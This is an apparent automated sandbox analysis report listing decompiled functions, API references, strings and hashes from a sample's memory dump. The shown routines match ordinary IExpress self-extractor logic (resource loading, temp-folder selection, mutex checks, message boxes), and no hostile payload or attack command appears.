GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 011B184C
AllocateAndInitializeSid.ADVAPI32(011B18FB,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011B18FB), ref: 011B1875
FreeSid.ADVAPI32(?,?,?,?,011B18FB), ref: 011B18A3
FreeLibrary.KERNEL32(00000000,?,?,?,011B18FB), ref: 011B18AA

Strings

advapi32.dll, xrefs: 011B1830
CheckTokenMembership, xrefs: 011B1846

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: f4f85c9997e1765d602a54d345da09b00051ef743960a4c5a33087fff620a485
Instruction ID: a6130c33ba3b4975cee9beb40243acedaf8301e75a7c5a84f66923c019d8151b
Opcode Fuzzy Hash: f4f85c9997e1765d602a54d345da09b00051ef743960a4c5a33087fff620a485
Instruction Fuzzy Hash: BA116671E10205BBDB189FA5ECD9ABEBB78FF44700F110139F611E3240DB7099418B50

Uniqueness

Uniqueness Score: -1.00%

Function 011B6C90, Relevance: 6.0, APIs: 4, Instructions: 13
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B6C90(struct _EXCEPTION_POINTERS* _a4) {

				SetUnhandledExceptionFilter(0);
				UnhandledExceptionFilter(_a4);
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x011b6c97
0x011b6ca0
0x011b6cb9

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,011B6DC6,011B1000), ref: 011B6C97
UnhandledExceptionFilter.KERNEL32(011B6DC6,?,011B6DC6,011B1000), ref: 011B6CA0
GetCurrentProcess.KERNEL32(C0000409,?,011B6DC6,011B1000), ref: 011B6CAB
TerminateProcess.KERNEL32(00000000,?,011B6DC6,011B1000), ref: 011B6CB2

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 9cd598f19d747225cb0742d6418b8229bc744eedee049eeafd0d52fb8ed44398
Instruction ID: 7be63949196f3645edcca1b67097df5aad118972128fefd43af33c52eff56dc9
Opcode Fuzzy Hash: 9cd598f19d747225cb0742d6418b8229bc744eedee049eeafd0d52fb8ed44398
Instruction Fuzzy Hash: 86D0C972000108BBDBA52BE1F84CA593F2CEF48292F444020F32983004CA3244918B51

Uniqueness

Uniqueness Score: -1.00%

Function 011B3200, Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 188
windowCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E011B3200(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* _t6;
				void* _t10;
				int _t20;
				int _t21;
				int _t23;
				char _t24;
				long _t25;
				int _t27;
				int _t30;
				void* _t32;
				int _t33;
				int _t34;
				int _t37;
				int _t38;
				int _t39;
				void* _t42;
				void* _t46;
				CHAR* _t49;
				void* _t58;
				void* _t63;
				struct HWND__* _t64;

				_t64 = _a4;
				_t6 = _a8 - 0x10;
				if(_t6 == 0) {
					_push(0);
					L38:
					EndDialog(_t64, ??);
					L39:
					__eflags = 1;
					return 1;
				}
				_t42 = 1;
				_t10 = _t6 - 0x100;
				if(_t10 == 0) {
					E011B43AE(_t64, GetDesktopWindow());
					SetWindowTextA(_t64, "gGhd");
					SendDlgItemMessageA(_t64, 0x835, 0xc5, 0x103, 0);
					__eflags =  *0x11b9a40 - _t42; // 0x3
					if(__eflags == 0) {
						EnableWindow(GetDlgItem(_t64, 0x836), 0);
					}
					L36:
					return _t42;
				}
				if(_t10 == _t42) {
					_t20 = _a12 - 1;
					__eflags = _t20;
					if(_t20 == 0) {
						_t21 = GetDlgItemTextA(_t64, 0x835, 0x11b91e4, 0x104);
						__eflags = _t21;
						if(_t21 == 0) {
							L32:
							_t58 = 0x4bf;
							_push(0);
							_push(0x10);
							_push(0);
							_push(0);
							L25:
							E011B4495(_t64, _t58);
							goto L39;
						}
						_t49 = 0x11b91e4;
						do {
							_t23 =  *_t49;
							_t49 =  &(_t49[1]);
							__eflags = _t23;
						} while (_t23 != 0);
						__eflags = _t49 - 0x11b91e5 - 3;
						if(_t49 - 0x11b91e5 < 3) {
							goto L32;
						}
						_t24 =  *0x11b91e5; // 0x3a
						__eflags = _t24 - 0x3a;
						if(_t24 == 0x3a) {
							L21:
							_t25 = GetFileAttributesA(0x11b91e4);
							__eflags = _t25 - 0xffffffff;
							if(_t25 != 0xffffffff) {
								L26:
								E011B6534(0x11b91e4, 0x104, 0x11b1140);
								_t27 = E011B5880(0x11b91e4);
								__eflags = _t27;
								if(_t27 != 0) {
									__eflags =  *0x11b91e4 - 0x5c;
									if( *0x11b91e4 != 0x5c) {
										L30:
										_t30 = E011B5933(0x11b91e4, 1, _t64, 1);
										__eflags = _t30;
										if(_t30 == 0) {
											L35:
											_t42 = 1;
											__eflags = 1;
											goto L36;
										}
										L31:
										_t42 = 1;
										EndDialog(_t64, 1);
										goto L36;
									}
									__eflags =  *0x11b91e5 - 0x5c;
									if( *0x11b91e5 == 0x5c) {
										goto L31;
									}
									goto L30;
								}
								_push(0);
								_push(0x10);
								_push(0);
								_push(0);
								_t58 = 0x4be;
								goto L25;
							}
							_t32 = E011B4495(_t64, 0x54a, 0x11b91e4, 0, 0x20, 4);
							__eflags = _t32 - 6;
							if(_t32 != 6) {
								goto L35;
							}
							_t33 = CreateDirectoryA(0x11b91e4, 0);
							__eflags = _t33;
							if(_t33 != 0) {
								goto L26;
							}
							_push(0);
							_push(0x10);
							_push(0);
							_push(0x11b91e4);
							_t58 = 0x4cb;
							goto L25;
						}
						__eflags =  *0x11b91e4 - 0x5c;
						if( *0x11b91e4 != 0x5c) {
							goto L32;
						}
						__eflags = _t24 - 0x5c;
						if(_t24 != 0x5c) {
							goto L32;
						}
						goto L21;
					}
					_t34 = _t20 - 1;
					__eflags = _t34;
					if(_t34 == 0) {
						EndDialog(_t64, 0);
						 *0x11b9124 = 0x800704c7;
						goto L39;
					}
					__eflags = _t34 != 0x834;
					if(_t34 != 0x834) {
						goto L36;
					}
					_t37 = LoadStringA( *0x11b9a3c, 0x3e8, 0x11b8598, 0x200);
					__eflags = _t37;
					if(_t37 != 0) {
						_t38 = E011B4204(_t64, _t46, _t46);
						__eflags = _t38;
						if(_t38 == 0) {
							goto L36;
						}
						_t39 = SetDlgItemTextA(_t64, 0x835, 0x11b87a0);
						__eflags = _t39;
						if(_t39 != 0) {
							goto L36;
						}
						_t63 = 0x4c0;
						L9:
						E011B4495(_t64, _t63, 0, 0, 0x10, 0);
						_push(0);
						goto L38;
					}
					_t63 = 0x4b1;
					goto L9;
				}
				return 0;
			}

0x011b320b
0x011b320e
0x011b3211
0x011b342c
0x011b342e
0x011b342f
0x011b3435
0x011b3437
0x00000000
0x011b3437
0x011b3219
0x011b321a
0x011b321f
0x011b33dc
0x011b33e7
0x011b3400
0x011b3406
0x011b340d
0x011b341d
0x011b341d
0x011b3428
0x00000000
0x011b3428
0x011b3227
0x011b3233
0x011b3233
0x011b3236
0x011b32de
0x011b32e4
0x011b32e6
0x011b33c4
0x011b33c6
0x011b33cb
0x011b33cc
0x011b33ce
0x011b33cf
0x011b3360
0x011b3362
0x00000000
0x011b3362
0x011b32ec
0x011b32f1
0x011b32f1
0x011b32f3
0x011b32f4
0x011b32f4
0x011b32fa
0x011b32fd
0x00000000
0x00000000
0x011b3303
0x011b3308
0x011b330a
0x011b3321
0x011b3322
0x011b332a
0x011b332d
0x011b336c
0x011b3378
0x011b337f
0x011b3384
0x011b3386
0x011b3394
0x011b339b
0x011b33a6
0x011b33ae
0x011b33b3
0x011b33b5
0x011b3425
0x011b3427
0x011b3427
0x00000000
0x011b3427
0x011b33b7
0x011b33b9
0x011b33bc
0x00000000
0x011b33bc
0x011b339d
0x011b33a4
0x00000000
0x00000000
0x00000000
0x011b33a4
0x011b3388
0x011b3389
0x011b338b
0x011b338c
0x011b338d
0x00000000
0x011b338d
0x011b333c
0x011b3341
0x011b3344
0x00000000
0x00000000
0x011b334c
0x011b3352
0x011b3354
0x00000000
0x00000000
0x011b3356
0x011b3357
0x011b3359
0x011b335a
0x011b335b
0x00000000
0x011b335b
0x011b330c
0x011b3313
0x00000000
0x00000000
0x011b3319
0x011b331b
0x00000000
0x00000000
0x00000000
0x011b331b
0x011b323c
0x011b323c
0x011b323f
0x011b32b8
0x011b32be
0x00000000
0x011b32be
0x011b3241
0x011b3246
0x00000000
0x00000000
0x011b3261
0x011b3267
0x011b3269
0x011b3288
0x011b328d
0x011b328f
0x00000000
0x00000000
0x011b32a0
0x011b32a6
0x011b32a8
0x00000000
0x00000000
0x011b32ae
0x011b3270
0x011b3279
0x011b327e
0x00000000
0x011b327e
0x011b326b
0x00000000
0x011b326b
0x00000000

APIs

LoadStringA.USER32(000003E8,011B8598,00000200), ref: 011B3261
GetDesktopWindow.USER32 ref: 011B33D2
SetWindowTextA.USER32(?,gGhd), ref: 011B33E7
SendDlgItemMessageA.USER32(?,00000835,000000C5,00000103,00000000), ref: 011B3400
GetDlgItem.USER32(?,00000836), ref: 011B3416
EnableWindow.USER32(00000000), ref: 011B341D
EndDialog.USER32(?,00000000), ref: 011B342F

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B32D2, 011B32D7, 011B3321, 011B3334, 011B334B, 011B335A
gGhd, xrefs: 011B33E1

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$DesktopDialogEnableLoadMessageSendStringText
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$gGhd
API String ID: 2418873061-482935018
Opcode ID: 3bbcadfbbf0462959551a46e17cb3e45eacb79693458ab973e0953ef655248b7
Instruction ID: 1c379ebe94de797e3897e2cbe8284dcc67261c692ce20407a89cbe02a203ba31
Opcode Fuzzy Hash: 3bbcadfbbf0462959551a46e17cb3e45eacb79693458ab973e0953ef655248b7
Instruction Fuzzy Hash: 2E51F4703A52507AEB3E5A396CCCFFB2D5DFB46758F004038F226A62C5DB688452D361

Uniqueness

Uniqueness Score: -1.00%

Function 011B2CA1, Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 182
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E011B2CA1(struct HINSTANCE__* __ecx, void* __edx, void* __eflags) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t13;
				void* _t20;
				void* _t23;
				void* _t27;
				struct HRSRC__* _t31;
				intOrPtr _t33;
				void* _t43;
				void* _t48;
				signed int _t65;
				struct HINSTANCE__* _t66;
				signed int _t67;

				_t13 =  *0x11b8004; // 0x714bc98c
				_v8 = _t13 ^ _t67;
				_t65 = 0;
				_t66 = __ecx;
				_t48 = __edx;
				 *0x11b9a3c = __ecx;
				memset(0x11b9140, 0, 0x8fc);
				memset(0x11b8a20, 0, 0x32c);
				memset(0x11b88c0, 0, 0x104);
				 *0x11b93ec = 1;
				_t20 = E011B4669("TITLE", 0x11b9154, 0x7f);
				if(_t20 == 0 || _t20 > 0x80) {
					_t64 = 0x4b1;
					goto L32;
				} else {
					_t27 = CreateEventA(0, 1, 1, 0);
					 *0x11b858c = _t27;
					SetEvent(_t27);
					_t64 = 0x11b9a34;
					if(E011B4669("EXTRACTOPT", 0x11b9a34, 4) != 0) {
						if(( *0x11b9a34 & 0x000000c0) == 0) {
							L12:
							 *0x11b9120 =  *0x11b9120 & _t65;
							if(E011B5C50(_t48, _t48, _t65, _t66) != 0) {
								if( *0x11b8a3a == 0) {
									_t31 = FindResourceA(_t66, "VERCHECK", 0xa);
									if(_t31 != 0) {
										_t65 = LoadResource(_t66, _t31);
									}
									if( *0x11b8184 != 0) {
										__imp__#17();
									}
									if( *0x11b8a24 == 0) {
										_t57 = _t65;
										if(E011B36DC(_t65) == 0) {
											goto L33;
										} else {
											_t33 =  *0x11b9a40; // 0x3
											_t48 = 1;
											if(_t33 == 1 || _t33 == 2 || _t33 == 3) {
												if(( *0x11b9a34 & 0x00000100) == 0 || ( *0x11b8a38 & 0x00000001) != 0 || E011B18C1(_t64, _t66) != 0) {
													goto L30;
												} else {
													_t64 = 0x7d6;
													if(E011B64C3(_t57, 0x7d6, _t34, E011B1A00, 0x547, 0x83e) != 0x83d) {
														goto L33;
													} else {
														goto L30;
													}
												}
											} else {
												L30:
												_t23 = _t48;
											}
										}
									} else {
										_t23 = 1;
									}
								} else {
									E011B2395(0x11b8a3a);
									goto L33;
								}
							} else {
								_t64 = 0x520;
								L32:
								E011B4495(0, _t64, 0, 0, 0x10, 0);
								goto L33;
							}
						} else {
							_t64 =  &_v268;
							if(E011B4669("INSTANCECHECK",  &_v268, 0x104) == 0) {
								goto L3;
							} else {
								_t43 = CreateMutexA(0, 1,  &_v268);
								 *0x11b8588 = _t43;
								if(_t43 == 0 || GetLastError() != 0xb7) {
									goto L12;
								} else {
									if(( *0x11b9a34 & 0x00000080) == 0) {
										_t64 = 0x524;
										if(E011B4495(0, 0x524, ?str?, 0, 0x20, 4) == 6) {
											goto L12;
										} else {
											goto L11;
										}
									} else {
										_t64 = 0x54b;
										E011B4495(0, 0x54b, "gGhd", 0, 0x10, 0);
										L11:
										CloseHandle( *0x11b8588);
										 *0x11b9124 = 0x800700b7;
										goto L33;
									}
								}
							}
						}
					} else {
						L3:
						_t64 = 0x4b1;
						E011B4495(0, 0x4b1, 0, 0, 0x10, 0);
						 *0x11b9124 = 0x80070714;
						L33:
						_t23 = 0;
					}
				}
				return E011B6C80(_t23, _t48, _v8 ^ _t67, _t64, _t65, _t66);
			}

0x011b2cac
0x011b2cb3
0x011b2cbe
0x011b2cc0
0x011b2cc8
0x011b2cca
0x011b2cd0
0x011b2ce0
0x011b2cf0
0x011b2d05
0x011b2d0c
0x011b2d13
0x011b2eea
0x00000000
0x011b2d24
0x011b2d2b
0x011b2d32
0x011b2d37
0x011b2d3f
0x011b2d50
0x011b2d7b
0x011b2e16
0x011b2e16
0x011b2e25
0x011b2e38
0x011b2e51
0x011b2e59
0x011b2e63
0x011b2e63
0x011b2e6c
0x011b2e6e
0x011b2e6e
0x011b2e7b
0x011b2e82
0x011b2e8b
0x00000000
0x011b2e8d
0x011b2e8d
0x011b2e95
0x011b2e99
0x011b2eb1
0x00000000
0x011b2ec5
0x011b2ed5
0x011b2ee4
0x00000000
0x00000000
0x00000000
0x00000000
0x011b2ee4
0x011b2ee6
0x011b2ee6
0x011b2ee6
0x011b2ee6
0x011b2e99
0x011b2e7d
0x011b2e7f
0x011b2e7f
0x011b2e3a
0x011b2e3f
0x00000000
0x011b2e3f
0x011b2e27
0x011b2e27
0x011b2eef
0x011b2ef8
0x00000000
0x011b2ef8
0x011b2d81
0x011b2d86
0x011b2d98
0x00000000
0x011b2d9a
0x011b2da5
0x011b2dab
0x011b2db2
0x00000000
0x011b2dc1
0x011b2dca
0x011b2dec
0x011b2df9
0x00000000
0x00000000
0x00000000
0x00000000
0x011b2dcc
0x011b2dd5
0x011b2dda
0x011b2dfb
0x011b2e01
0x011b2e07
0x00000000
0x011b2e07
0x011b2dca
0x011b2db2
0x011b2d98
0x011b2d52
0x011b2d52
0x011b2d54
0x011b2d60
0x011b2d65
0x011b2efd
0x011b2efd
0x011b2efd
0x011b2d50
0x011b2f0d

APIs

memset.MSVCRT ref: 011B2CD0
memset.MSVCRT ref: 011B2CE0
memset.MSVCRT ref: 011B2CF0

Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
Part of subcall function 011B4669: SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
Part of subcall function 011B4669: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
Part of subcall function 011B4669: LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
Part of subcall function 011B4669: LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
Part of subcall function 011B4669: memcpy_s.MSVCRT ref: 011B46BF
Part of subcall function 011B4669: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B2D2B
SetEvent.KERNEL32(00000000,?,?,?,?,?,?,?,00000002,00000000), ref: 011B2D37
CreateMutexA.KERNEL32(00000000,00000001,?,00000104,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 011B2DA5
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 011B2DB4
CloseHandle.KERNEL32(gGhd,00000000,00000020,00000004,?,?,?,?,?,?,?,00000002,00000000), ref: 011B2E01

Part of subcall function 011B4495: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
Part of subcall function 011B4495: MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530

Strings

TITLE, xrefs: 011B2D00
VERCHECK, xrefs: 011B2E4B
INSTANCECHECK, xrefs: 011B2D8C
EXTRACTOPT, xrefs: 011B2D44
gGhd, xrefs: 011B2CFB, 011B2DD0, 011B2DE7

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$memset$CreateEventFindLoad$CloseErrorFreeHandleLastLockMessageMutexSizeofStringmemcpy_s
String ID: EXTRACTOPT$INSTANCECHECK$TITLE$VERCHECK$gGhd
API String ID: 1002816675-1635263123
Opcode ID: 19f724af83d87faffac166b1c21bc78de07c71339803aa51b8d6442dd48b82a9
Instruction ID: b9d427d561b125af5ce24908c1878d62900991b7c125289dfad75b06b5af2b3d
Opcode Fuzzy Hash: 19f724af83d87faffac166b1c21bc78de07c71339803aa51b8d6442dd48b82a9
Instruction Fuzzy Hash: E65116B0300315AAF77CBA3A9CC9BFB2A9DEB55718F104039EB52D61C5DBB49489C721

Uniqueness

Uniqueness Score: -1.00%

Function 011B4204, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 131
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E011B4204(char __ecx) {
				char* _v8;
				_Unknown_base(*)()* _v12;
				_Unknown_base(*)()* _v16;
				_Unknown_base(*)()* _v20;
				char* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v44;
				char _v48;
				char _v52;
				_Unknown_base(*)()* _t26;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t32;
				char _t42;
				char* _t44;
				char* _t61;
				void* _t63;
				char* _t65;
				struct HINSTANCE__* _t66;
				char _t67;
				void* _t71;
				char _t76;
				intOrPtr _t85;

				_t67 = __ecx;
				_t66 = LoadLibraryA("SHELL32.DLL");
				if(_t66 == 0) {
					_t63 = 0x4c2;
					L22:
					E011B4495(_t67, _t63, 0, 0, 0x10, 0);
					return 0;
				}
				_t26 = GetProcAddress(_t66, "SHBrowseForFolder");
				_v12 = _t26;
				if(_t26 == 0) {
					L20:
					FreeLibrary(_t66);
					_t63 = 0x4c1;
					goto L22;
				}
				_t28 = GetProcAddress(_t66, 0xc3);
				_v20 = _t28;
				if(_t28 == 0) {
					goto L20;
				}
				_t29 = GetProcAddress(_t66, "SHGetPathFromIDList");
				_v16 = _t29;
				if(_t29 == 0) {
					goto L20;
				}
				_t76 =  *0x11b88c0; // 0x0
				if(_t76 != 0) {
					L10:
					 *0x11b87a0 = 0;
					_v52 = _t67;
					_v48 = 0;
					_v44 = 0;
					_v40 = 0x11b8598;
					_v36 = 1;
					_v32 = E011B41E0;
					_v28 = 0x11b88c0;
					 *0x11ba288( &_v52);
					_t32 =  *_v12();
					if(_t71 != _t71) {
						asm("int 0x29");
					}
					_v12 = _t32;
					if(_t32 != 0) {
						 *0x11ba288(_t32, 0x11b88c0);
						 *_v16();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
						if( *0x11b88c0 != 0) {
							E011B16A0(0x11b87a0, 0x104, 0x11b88c0);
						}
						 *0x11ba288(_v12);
						 *_v20();
						if(_t71 != _t71) {
							asm("int 0x29");
						}
					}
					FreeLibrary(_t66);
					_t85 =  *0x11b87a0; // 0x0
					return 0 | _t85 != 0x00000000;
				} else {
					GetTempPathA(0x104, 0x11b88c0);
					_t61 = 0x11b88c0;
					_t4 =  &(_t61[1]); // 0x11b88c1
					_t65 = _t4;
					do {
						_t42 =  *_t61;
						_t61 =  &(_t61[1]);
					} while (_t42 != 0);
					_t5 = _t61 - _t65 + 0x11b88c0; // 0x2371181
					_t44 = CharPrevA(0x11b88c0, _t5);
					_v8 = _t44;
					if( *_t44 == 0x5c &&  *(CharPrevA(0x11b88c0, _t44)) != 0x3a) {
						 *_v8 = 0;
					}
					goto L10;
				}
			}

0x011b4214
0x011b421c
0x011b4220
0x011b4392
0x011b4397
0x011b43a0
0x00000000
0x011b43a5
0x011b422c
0x011b4232
0x011b4237
0x011b4384
0x011b4385
0x011b438b
0x00000000
0x011b438b
0x011b4243
0x011b4249
0x011b424e
0x00000000
0x00000000
0x011b425a
0x011b4260
0x011b4265
0x00000000
0x00000000
0x011b426d
0x011b4273
0x011b42c6
0x011b42c9
0x011b42cf
0x011b42d4
0x011b42d7
0x011b42e0
0x011b42e7
0x011b42ee
0x011b42f5
0x011b42fc
0x011b4302
0x011b4306
0x011b430d
0x011b430d
0x011b430f
0x011b4314
0x011b4323
0x011b4329
0x011b432d
0x011b4334
0x011b4334
0x011b433d
0x011b434e
0x011b434e
0x011b435d
0x011b4363
0x011b4367
0x011b436e
0x011b436e
0x011b4367
0x011b4371
0x011b4379
0x00000000
0x011b4275
0x011b427f
0x011b4285
0x011b428a
0x011b428a
0x011b428d
0x011b428d
0x011b428f
0x011b4290
0x011b4296
0x011b42a2
0x011b42a8
0x011b42ae
0x011b42c4
0x011b42c4
0x00000000
0x011b42ae

APIs

LoadLibraryA.KERNEL32(SHELL32.DLL,?,?,00000001), ref: 011B4216
GetProcAddress.KERNEL32(00000000,SHBrowseForFolder), ref: 011B422C
GetProcAddress.KERNEL32(00000000,000000C3), ref: 011B4243
GetProcAddress.KERNEL32(00000000,SHGetPathFromIDList), ref: 011B425A
GetTempPathA.KERNEL32(00000104,011B88C0,?,00000001), ref: 011B427F
CharPrevA.USER32(011B88C0,02371181,?,00000001), ref: 011B42A2
CharPrevA.USER32(011B88C0,00000000,?,00000001), ref: 011B42B6
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 011B4371
FreeLibrary.KERNEL32(00000000,?,00000001), ref: 011B4385

Strings

SHELL32.DLL, xrefs: 011B420F
SHGetPathFromIDList, xrefs: 011B4254
SHBrowseForFolder, xrefs: 011B4226

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: f2695e4c6732b721b6b6eb7999e95f435834ae73c24848c0de59bbde97bb4690
Instruction ID: d78b97c930a6ec086bcd47d6aafc9b825f43e3f41b1b04ba14bc4cd988e17fb0
Opcode Fuzzy Hash: f2695e4c6732b721b6b6eb7999e95f435834ae73c24848c0de59bbde97bb4690
Instruction Fuzzy Hash: 72411A74A01210AFE72D9F78F8D4AEE7F78EF45744F088179E652A3256C7748841CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011B4495, Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 159
memorywindowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011B4495(struct HWND__* __ecx, int __edx, intOrPtr* _a4, void* _a8, int _a12, signed int _a16) {
				signed int _v8;
				char _v64;
				char _v576;
				void* _v580;
				struct HWND__* _v584;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				void* _t37;
				signed int _t39;
				intOrPtr _t43;
				signed int _t44;
				signed int _t49;
				signed int _t52;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t58;
				intOrPtr _t59;
				int _t64;
				void* _t66;
				intOrPtr* _t67;
				signed int _t69;
				intOrPtr* _t73;
				intOrPtr* _t76;
				intOrPtr* _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				intOrPtr* _t84;
				void* _t85;
				signed int _t89;

				_t75 = __edx;
				_t34 =  *0x11b8004; // 0x714bc98c
				_v8 = _t34 ^ _t89;
				_v584 = __ecx;
				_t83 = "LoadString() Error.  Could not load string resource.";
				_t67 = _a4;
				_t69 = 0xd;
				_t37 = memcpy( &_v64, _t83, _t69 << 2);
				_t80 = _t83 + _t69 + _t69;
				_v580 = _t37;
				asm("movsb");
				if(( *0x11b8a38 & 0x00000001) != 0) {
					_t39 = 1;
				} else {
					_v576 = 0;
					LoadStringA( *0x11b9a3c, _t75,  &_v576, 0x200);
					if(_v576 != 0) {
						_t73 =  &_v576;
						_t16 = _t73 + 1; // 0x1
						_t75 = _t16;
						do {
							_t43 =  *_t73;
							_t73 = _t73 + 1;
						} while (_t43 != 0);
						_t84 = _v580;
						_t74 = _t73 - _t75;
						if(_t84 == 0) {
							if(_t67 == 0) {
								_t27 = _t74 + 1; // 0x2
								_t83 = _t27;
								_t44 = LocalAlloc(0x40, _t83);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									_t75 = _t83;
									_t74 = _t80;
									E011B16A0(_t80, _t83,  &_v576);
									goto L23;
								}
							} else {
								_t76 = _t67;
								_t24 = _t76 + 1; // 0x1
								_t85 = _t24;
								do {
									_t55 =  *_t76;
									_t76 = _t76 + 1;
								} while (_t55 != 0);
								_t25 = _t76 - _t85 + 0x64; // 0x65
								_t83 = _t25 + _t74;
								_t44 = LocalAlloc(0x40, _t25 + _t74);
								_t80 = _t44;
								if(_t80 == 0) {
									goto L6;
								} else {
									E011B173E(_t80, _t83,  &_v576, _t67);
									goto L23;
								}
							}
						} else {
							_t77 = _t67;
							_t18 = _t77 + 1; // 0x1
							_t81 = _t18;
							do {
								_t58 =  *_t77;
								_t77 = _t77 + 1;
							} while (_t58 != 0);
							_t75 = _t77 - _t81;
							_t82 = _t84 + 1;
							do {
								_t59 =  *_t84;
								_t84 = _t84 + 1;
							} while (_t59 != 0);
							_t21 = _t74 + 0x64; // 0x65
							_t83 = _t21 + _t84 - _t82 + _t75;
							_t44 = LocalAlloc(0x40, _t21 + _t84 - _t82 + _t75);
							_t80 = _t44;
							if(_t80 == 0) {
								goto L6;
							} else {
								_push(_v580);
								E011B173E(_t80, _t83,  &_v576, _t67);
								L23:
								MessageBeep(_a12);
								if(E011B67CB(_t67) == 0) {
									L25:
									_t49 = 0x10000;
								} else {
									_t54 = E011B6777(_t74, _t74);
									_t49 = 0x190000;
									if(_t54 == 0) {
										goto L25;
									}
								}
								_t52 = MessageBoxA(_v584, _t80, "gGhd", _t49 | _a12 | _a16);
								_t83 = _t52;
								LocalFree(_t80);
								_t39 = _t52;
							}
						}
					} else {
						if(E011B67CB(_t67) == 0) {
							L4:
							_t64 = 0x10010;
						} else {
							_t66 = E011B6777(0, 0);
							_t64 = 0x190010;
							if(_t66 == 0) {
								goto L4;
							}
						}
						_t44 = MessageBoxA(_v584,  &_v64, "gGhd", _t64);
						L6:
						_t39 = _t44 | 0xffffffff;
					}
				}
				return E011B6C80(_t39, _t67, _v8 ^ _t89, _t75, _t80, _t83);
			}

0x011b4495
0x011b44a0
0x011b44a7
0x011b44b4
0x011b44c0
0x011b44c7
0x011b44ca
0x011b44cb
